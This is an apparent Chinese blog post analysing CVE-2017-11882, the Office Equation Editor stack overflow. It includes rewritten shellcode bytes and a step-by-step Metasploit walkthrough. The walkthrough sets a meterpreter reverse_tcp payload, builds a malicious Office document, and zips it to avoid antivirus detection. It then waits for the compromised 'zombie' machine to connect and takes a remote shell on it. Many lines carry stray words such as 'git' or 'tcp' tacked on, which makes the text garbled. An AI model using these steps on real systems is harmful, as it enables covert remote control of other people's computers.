3 CVE-2017-11882漏洞分析

CVE-2017-11882漏洞分析

操做系統:Windows7 32/64位 專業版、Linuxpython

軟件:office 2003 sp3git

工具:OD、IDA、Python模塊、msfconsolegithub

1漏洞分析:

獲取POC:

https://github.com/embedi/CVE-2017-11882 下載便可shell

打開例程,發現文檔打開了計算器,應該是ShellCode。windows

查找漏洞點:

打開Microsoft Word 2003,快捷鍵Alt+i+o(插入、對象)打開Microsoft 公式 3.0,使用OD附加(附加後,線程,所有恢復,運行)快捷鍵 Alt+f+a,打開poc例程。(OD全部關於異常的選項去掉,插件-StrongOD-Options-Skip Some Exceptions去掉,否則沒法斷下)。session

經過棧向上查找最近的函數地址tcp

clip_image001

下斷點從新附加函數

clip_image003

從新加載再次進行附加工具

clip_image004

再次進行附加發現程序在運行到WinExec時已經破壞了棧,對棧進行向上回述spa

clip_image005

在此函數處下斷點,再次進行附加程序運行觀察棧已經破壞則在反彙編窗口在此函數的頭部下斷點,從新附加觀察

clip_image007

此時棧是完整的,能夠判定棧的破壞點在此時程序流程點的後面進行單步跟蹤(F8)觀察棧的變化找出溢出點。

clip_image009

clip_image010

經過Alt+e查找溢出模塊,載入IDA進行靜態分析

clip_image012

經過溢出點在IDA快捷鍵 g地址跳轉F5轉C代碼查看分析

clip_image014

分析poc的ShellCode:

在OD中查看ShellCode信息

clip_image016

經過010editor進行分析:

clip_image018

2漏洞利用:

改寫ShellCode運行時彈出百度網頁。

clip_image020

關於ShellCode的改寫:

在OD中的Ctrl+e進行二進制編寫,注意ShellCode大小,0x30預留4字節的返回地址。

機器碼:

636D642E657865202F63206578706C6F7265722E65786520687474703A2F2F62616964752E636F6D266F6D73120C4300

使用 msfconsole進行遠程控制的利用

相關poc獲取:https://github.com/embedi/CVE-2017-11882

準備工做:

1. 在Linux虛擬機上運行 msfconsole

clip_image022

2. 使用apt update;

apt intsall metasploit-framework

3. 將cve-2017-11882.rb(漏洞模塊,負責與樣本通訊)

在終端輸入cp指令:

絕對路徑拷貝:

clip_image024

相對路徑拷貝:cd到文件所在目錄

cp CVE-2017-11882.rb /usr/share/metasploitframework/modules/exploits/windows/fileformat

拷貝到相關文件夾

4. 將python腳本 CVE-2017-11882.py拷貝到桌面

開始攻擊:

使用Kali Metasploit準備後門,監聽程序

1. 進入metasploit-framework

命令:msfconsole 啓動命令

2. Search cve-2017-11882

clip_image026

3. 使用模塊:use exploit/windows/fileformat/cve-2017-11882

clip_image028

4. 設置漏洞利用信息,包括payloar類型,IP(Linux使用ifconfig查看IP,Win使用ipconfig查看IP)

clip_image030

set payload windows/meterpteter/reverse_tcp

clip_image032

clip_image034

show options(顯示必要設置的選項,查看有無漏項)

clip_image036

5. 開始攻擊

exploit

clip_image037

6. 使用CVE-2017-11882.py腳本生成樣本

clip_image039

7. 壓縮文件否則可能會被查殺

拷貝到win7 64位 專業版 使用office3 sp3打開

8. 等待肉機連接

在win7打開文件顯示的內容

clip_image041

9. 連接以後使用sessions查看連接信息

clip_image043

10. 使用sessions 1 進入sessions,開始後門操做

clip_image044

鏈接成功

11. 命令:shell進入shell

clip_image045

出現亂碼,使用 chcp 65001 便可

clip_image046

此時便可使用windows shell命令控制肉機

退出shell

clip_image047

截屏要退出來才能夠截屏

clip_image048

截屏圖片

clip_image050

一些其餘命令

show sessions:顯示會話

sessions x:進入會話

background:會話返回

back:退出模塊

在msf下 exit:退出

3總結:

1. 此漏洞是使用系統的WinExec函數開啓線程的

2. 漏洞的產生是由於內存拷貝時空間大小設計時沒有考慮到位產生的棧溢出淹沒了原返回地址

3. 由於程序間隔較近,此漏洞的shellcode空間只用0x30大小但對於使用系統WinExec建立線程來說已經夠用

4. 此漏洞是2000年就存在的陳年漏洞但危害很大,甚至能夠用來遠程控制電腦。

相關文章
相關標籤/搜索